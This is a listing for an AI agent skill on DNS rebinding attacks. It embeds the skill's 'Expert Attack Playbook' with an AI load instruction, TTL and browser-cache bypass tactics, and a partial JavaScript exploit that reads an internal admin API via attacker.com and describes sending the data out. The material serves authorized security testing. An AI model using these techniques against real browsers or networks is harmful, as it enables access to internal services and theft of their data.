Dns Rebinding Attacks
Test browser-side origin bypass via DNS rebinding when apps trust DNS for access control or when SSRF is blocked but client fetch hits attacker domains.
Overview
DNS Rebinding Attacks is an agent skill for the Ship phase that explains client-side DNS rebinding to bypass same-origin checks and reach internal services from the browser.
Install
npx skills add https://github.com/yaklang/hack-skills --skill dns-rebinding-attacksWhat is this skill?
- Clarifies DNS rebinding as client-side same-origin bypass—not interchangeable with server-side SSRF
- Core two-resolution model: attacker IP first, internal IP second, single origin in the browser
- Covers TTL tricks, browser cache bypasses, HTTP/WebSocket/TOCTOU variants, and internal service targeting
- Routes to SSRF and CORS misconfiguration skills when those attack paths apply instead
- Expert playbook framing for applications that resolve attacker-controlled hostnames in XHR/fetch
- Documents HTTP, WebSocket, and TOCTOU rebinding variants in core principle section
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
Your app trusts DNS-resolved hostnames for origin safety, but you cannot reproduce impact with SSRF alone while client-side fetch still calls attacker-controlled domains.
Who is it for?
Appsec testers reviewing SPAs or browser-heavy products that fetch user-supplied domains and need client-side rebinding test cases.
Skip if: Builders who only need server-side SSRF exploitation, or products with no browser fetch to attacker-influenced DNS names.
When should I use this skill?
Testing applications that trust DNS resolution for origin checks, browser fetch/XHR to attacker-controlled domains, or when SSRF is not possible server-side but client-side access is in scope.
What do I get? / Deliverables
You get a clarified rebinding test plan—TTL behavior, variant selection, and internal targeting—with pointers to SSRF or CORS skills when those paths are faster.
- Rebinding attack variant checklist
- Decision routing to SSRF or CORS companion skills
Recommended Skills
Journey fit
DNS rebinding assessments belong in Ship security work—proving how a shipped web client can be tricked into touching internal hosts despite same-origin assumptions. Security subphase captures offensive verification distinct from routine unit testing; this skill targets client-side DNS TOCTOU rather than server SSRF alone.
How it compares
Client-side origin bypass via DNS timing—not a substitute for the SSRF playbook when the bug is purely server-side request forgery.
Common Questions / FAQ
Who is dns-rebinding-attacks for?
It is for security testers and developers hardening browser-facing apps where DNS resolution gates what JavaScript may read across origins.
When should I use dns-rebinding-attacks?
Use it during Ship security review when testing apps that trust DNS for origin checks, when SSRF is blocked server-side, or when victim browsers perform fetch/XHR to domains you control in a authorized test.
Is dns-rebinding-attacks safe to install?
It describes offensive techniques; check the Security Audits panel on this Prism page and only apply in environments you are authorized to test.
SKILL.md
READMESKILL.md - Dns Rebinding Attacks
# SKILL: DNS Rebinding — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths. ## 0. RELATED ROUTING - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — server-side variant; DNS rebinding is the **client-side** counterpart - [cors-cross-origin-misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) — when CORS misconfig allows direct cross-origin reads instead --- ## 1. CORE PRINCIPLE The browser same-origin policy binds `protocol + host + port`. The **host** is resolved via DNS at connection time. If an attacker controls the DNS server for `attacker.com`, they can: 1. First resolution → attacker IP (serve malicious JS) 2. Second resolution → internal IP (victim's network) 3. Browser considers both responses same-origin (`attacker.com`) 4. Malicious JS reads responses from internal services ``` Victim visits attacker.com │ ▼ DNS query: attacker.com → 1.2.3.4 (attacker server) Browser loads malicious JS from 1.2.3.4 │ ▼ TTL expires (or forced flush) │ ▼ JS triggers new request to attacker.com DNS query: attacker.com → 192.168.1.1 (internal target) Browser sends request to 192.168.1.1 as "attacker.com" origin │ ▼ JS reads response — same-origin policy satisfied Exfiltrates data to attacker's other endpoint ``` **Key insight**: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname. --- ## 2. TTL MANIPULATION ### DNS server configuration The attacker runs an authoritative DNS server for their domain that alternates responses: | Query # | Response | TTL | |---|---|---| | 1st | Attacker IP (e.g., `1.2.3.4`) | 0 | | 2nd+ | Target internal IP (e.g., `192.168.1.1`) | 0 | TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection. ### Browser DNS cache reality Browsers maintain their own DNS cache that **ignores low TTLs**: | Browser | Internal DNS Cache | Bypass Technique | |---|---|---| | Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains | | Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config | | Safari | ~varies | Generally shorter cache | | Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome | ### Bypass strategies ``` 1. Multiple A records technique: - Return BOTH attacker IP and target IP in single DNS response - Browser tries first IP; if connection fails → falls back to second - Block attacker IP after initial page load → forces fallback to internal IP 2. Subdomain flooding: - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com... - Each subdomain gets fresh DNS resolution (no cache hit) 3. Service worker flush: - Register service worker that intercepts and delays requests - By the time fetch executes, DNS cache has expired ``` --- ## 3. ATTACK VARIANTS ### 3.1 Classic HTTP Rebinding Target: internal web services (admin panels, REST APIs) ```javascript // Served from attacker.com (first DNS resolution → attacker IP) async function exploit() { // Wait for DNS cache to expire await sleep(65000); // >60s for Chrome // This request now resolves to internal IP const resp = await fetch('http://attacker.com:8080/api/admin/users'); const data = await resp.t